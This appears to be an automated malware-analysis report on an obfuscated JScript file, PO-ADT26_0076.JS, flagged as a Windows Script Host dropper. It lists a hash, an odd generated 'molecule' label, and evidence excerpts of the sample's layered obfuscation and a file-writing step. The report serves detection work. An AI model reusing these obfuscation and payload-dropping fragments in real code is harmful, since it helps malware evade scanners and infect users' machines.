Hostile ^100% Download

PO-ADT26_0076.JS

Obfuscated WSH dropper writes payload

Layered JavaScript obfuscation hides a decoded WSH payload writeObfuscated JScript uses a variable ActiveX object to write a payload

SHA-2560c51274ff80c04e93de13462d5ef5c61bbb882c9b422acfecab6bd093ab0f31d

URLhttps://mb-api.abuse.ch/api/v1/

MaleculeO₃(As₂CXe)H₄(Db₃F₂OsPo)Md

Evidence

English function-word token "have" lines 130–131

130:70… "type": "flag"        , "doc": "Instruction can have side effects (hint for instruction scheduler)." },
131      { "JWVRFNBFFZBPQQSAOOO": "Deprecated"       , "type": "flag" …

English function-word token "that" lines 133–135

54… type": "flag"        , "doc": "Alternative form that is shorter, but has restrictions." },
    { "JWVRFNBFFZBPQQSAOOO": "Lock"             , "type": "flag"        , "doc": "Can be used with LOCK prefix." },
    { "JWVRFNBFFZBPQQSAOOO": "ImplicitLock"     , "type": "flag"        , " …

Layered JavaScript obfuscation hides a decoded WSH payload write lines 302–314

737…  (24 * -334 + 8273 * 1 + -246));
    if (JWVRFNBFFZBPQQSA7 === JWVRFNBFFZBPQQSA4) {
      break;
    } else {
      JWVRFNBFFZBPQQSA6['push'](JWVRFNBFFZBPQQSA6['shift']());
    }
  } catch (JWVRFNBFFZBPQQSA8) {
    JWVRFNBFFZBPQQSA6['push'](JWVRFNBFFZBPQQSA6['shift']());
  }
}
312}(JWVRFNBFFZBPQQSA9, -749102 + -20026 + 1222556));
313(function (JWVRFNBFFZBPQQSA10, JWVRFNBFFZBPQQSA11) {
'\u2749\u22C8à³‚JWVRFNBFFZBPQQSA\u0F48á‡·\uD83D\uDDCEá½µ\u2AFAá´ƒá¬€Óâ²¥JWVRFNBFFZBPQQSAá­°\u2A9A\u0EE3ßà´´\u25AEá”¾á¹£á½µ\u244 …

Calls a numeric-indexed computed property lines 1750–1757

45…  JWVRFNBFFZBPQQSA24) {
      return JWVRFNBFFZBPQQSA23 - JWVRFNBFFZBPQQSA24;
    },
    'sbtNk': '202'
  };
  return JWVRFNBFFZBPQQSA25(JWVRFNBFFZBPQQSA22[JWVRFNBFFZBPQQSA21(2583)](JWVRFNBFFZBPQQSA20, JWVRFNBFFZBPQQSA22['sbtNk']), JWVRFNBFFZBPQQSA19);
}
(function (JWVRFNBFFZBPQQSA26, JWVRFNBFFZBPQQSA27 …

JavaScript empty named-parameter catch lines 11676–11684

        var content = CreateURLContent(HGJHKKLL), file = fso['CreateTextFile'](urlFilePath, !![]);
        file[JWVRFNBFFZBPQQSA1186(-5760 + 17 * 8 + 5803, -6570 + 4601 + 1983, 1717 * -5 + 1290 + 7375)](content), file[JWVRFNBFFZBPQQSA1(2965)]();
      } catch (JWVRFNBFFZBPQQSA2108) {
      }
    } else {
⋯4 lines